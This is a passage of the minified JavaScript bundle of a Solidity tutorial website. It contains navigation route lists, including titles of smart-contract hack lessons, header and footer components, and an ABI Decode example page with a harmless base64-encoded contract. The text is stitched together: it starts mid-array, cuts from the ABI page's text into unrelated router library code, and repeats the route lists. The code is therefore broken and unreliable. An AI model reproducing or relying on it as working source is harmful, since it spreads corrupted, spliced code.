Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],Pd=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"},{path:"airdrop",title:"Merkle Airdrop"}],$d=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],qd=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],sC=[{path:"echidna",title:"Echidna"}],aC=[{path:"basic",title:"Basic"},{path:"auth",title:"Authorization"},{path:"error",title:"Error"},{path:"event",title:"Event"},{path:"send",title:"Send"},{path:"time",title:"Time"},{path:"sign",title:"Sign"},{path:"label",title:"Label"},{path:"mock-call",title:"Mock Call"}],nC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],rt=[{title:"",routes:Od.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:Pd.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:$d.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:qd.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:sC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"Foundry",routes:aC.map(s=>({...s,path:`/foundry/${s.path}`}))},{title:"DeFi",routes:nC.map(s=>({...s,path:`/defi/${s.path}`}))}],jp=rt.map(({routes:s})=>s).flat(),lC=jp.reduce((s,a,n)=>(s[a.path]=n,s),{});function pC(s){const a=lC[s];if(a>=0){const n=jp[a-1]||null,l=jp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const eC=({onClick:s})=>{const a=Kp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),rt.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!oc(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},cC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),tC="_component_1l8rc_1",oC="_a_1l8rc_14",rC="_center_1l8rc_18",iC="_centerInner_1l8rc_25",gC="_logo_1l8rc_31",hC="_header_1l8rc_35",IC="_mode_1l8rc_40",dC="_hamburger_1l8rc_46",Es={component:tC,a:oC,center:rC,centerInner:iC,logo:gC,header:hC,mode:IC,hamburger:dC},CC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),jC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),AC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]}),uC="/assets/powered-by-cyfrin-CPb_54II.png",yC="_component_12cj2_1",mC={component:yC},bC=()=>r.jsx("a",{target:"__blank",href:"https://www.cyfrin.io/",children:r.jsx("img",{src:uC,alt:"Powered by Cyfrin",className:mC.component})});function wC(){const{state:s,setTheme:a,toggleSideNav:n}=tt();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:Es.component,children:[r.jsx(cC,{size:20,className:Es.hamburger,onClick:n}),r.jsxs("div",{className:Es.center,children:[r.jsxs("div",{className:Es.centerInner,children:[r.jsx("a",{href:"/",className:Es.a,children:r.jsx(AC,{className:Es.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:Es.header,children:r.jsx("a",{href:"/",className:Es.a,children:"Solidity by Example"})})]}),r.jsx(bC,{})]}),r.jsx("button",{className:Es.mode,onClick:l,children:s.theme=="dark"?r.jsx(CC,{size:20}):r.jsx(jC,{size:20})})]})}const kC="_component_o1tj5_1",ZC="_row_o1tj5_8",WC="_bar_o1tj5_13",GC="_to_o1tj5_21",BC="_social_o1tj5_24",fC="_updraft_o1tj5_29",VC="_telegram_o1tj5_34",YC="_discord_o1tj5_38",XC="_youTube_o1tj5_42",us={component:kC,row:ZC,bar:WC,to:GC,social:BC,updraft:fC,telegram:VC,discord:YC,youTube:XC},hg="/assets/updraft-D5eZlzRj.png",Ig="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",RC="/assets/telegram-DMavHjFx.png",vC="/assets/discord-BqSoMD3G.png";function NC(){return r.jsxs("div",{className:us.component,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:hg,alt:"cyfrin",className:us.updraft}),r.jsx("a",{href:"https://updraft.cyfrin.io",target:"__blank",children:"Cyfrin Updraft"})]}),r.jsxs("div",{className:us.social,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:vC,alt:"discord",className:us.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:RC,alt:"telegram",className:us.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:Ig,alt:"youtube",className:us.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:us.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:us.row,children:[r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io",target:"__blank",children:"source"}),r.jsx("div",{className:us.bar,children:"|"}),r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"license"})]})]})}const HC=({children:s})=>{const{state:a}=tt(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Xl.component,children:[r.jsx("div",{ref:n,className:Xl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(eC,{onClick:l}):null}),r.jsxs("div",{className:Xl.main,children:[r.jsx(wC,{}),r.jsxs("div",{className:Xl.children,children:[s,r.jsx(NC,{})]})]})]})},dg=({title:s,description:a,cyfrinLink:n})=>(W.useEffect(()=>{document.title=s;const l=document.querySelector("meta[name='description']");if(l&&l.setAttribute("content",a),n){const p=document.createElement("link");p.rel="canonical",p.href=n,document.head.appendChild(p)}},[]),null),Yo=' ',KC='';function FC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=KC}function o(I){I.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(FC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),SC="_component_17lfp_1",xC="_content_17lfp_5",JC="_cyfrinLink_17lfp_8",zC="_prevNext_17lfp_11",Rl={component:SC,content:xC,cyfrinLink:JC,prevNext:zC},A=({title:s,version:a,description:n,cyfrinLink:l,html:p,prev:e,next:c,codes:t})=>r.jsxs("div",{className:Rl.component,children:[r.jsx(dg,{title:`${s} | Solidity by Example | ${a}`,description:n,cyfrinLink:l}),r.jsxs("div",{className:Rl.content,children:[r.jsx("h2",{children:s}),l?r.jsxs("div",{className:Rl.cyfrinLink,children:["For the most up to date version of this content, please see"," ",r.jsxs("a",{href:l,target:"__blank",children:[s," (Code Example)"]})," ","on Cyfrin.io"]}):null,r.jsx(MC,{html:p}),r.jsxs("div",{className:Rl.prevNext,children:[e&&r.jsxs("a",{href:e.path,children:["< ",e.title]}),c&&r.jsxs("a",{href:c.path,children:[c.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:t.map(({fileName:o,code:i},I)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${i}`,target:"_blank",rel:"noreferrer",children:o})},I))})]})]}),DC="0.8.26",EC="ABI Decode",QC="ABI decode bytes",TC="https://www.cyfrin.io/glossary/abi-decode-solidity-code-example",UC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],LC=`

abi.encode encodes data into bytes.

+ */function ic(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Hd(s,a){let n=ic(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Kd="6";try{window.__reactRouterVersion=Kd}catch{}const Fd="startTransition",Bo=vg[Fd];function Md(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=QI({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=W.useCallback(d=>{i&&Bo?Bo(()=>o(d)):o(d)},[o,i]);return W.useLayoutEffect(()=>c.listen(I),[c,I]),W.createElement(vd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var fo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(fo||(fo={}));var Vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(Vo||(Vo={}));function Sd(s){let a=W.useRef(ic(s)),n=W.useRef(!1),l=Kp(),p=W.useMemo(()=>Hd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=W.useCallback((t,o)=>{const i=ic(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const xd="_component_nqcni_1",Jd="_sideNav_nqcni_6",zd="_main_nqcni_13",Dd="_children_nqcni_21",Xl={component:xd,sideNav:Jd,main:zd,children:Dd},Ed="_list_1ltry_1",Qd="_title_1ltry_6",Td="_listItem_1ltry_11",Ld="_listItemActive_1ltry_18",Ud="_link_1ltry_26",xa={list:Ed,title:Qd,listItem:Td,listItemActive:Ld,link:Ud},_d=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Persian",url:"https://siblearn.dev/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Od=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"user-defined-value-types",title:"User Defined Value Types"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"events-advanced",title:"Events Advanced"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],Pd=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"},{path:"airdrop",title:"Merkle Airdrop"}],$d=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],qd=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],sC=[{path:"echidna",title:"Echidna"}],aC=[{path:"basic",title:"Basic"},{path:"auth",title:"Authorization"},{path:"error",title:"Error"},{path:"event",title:"Event"},{path:"send",title:"Send"},{path:"time",title:"Time"},{path:"sign",title:"Sign"},{path:"label",title:"Label"},{path:"mock-call",title:"Mock Call"}],nC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap 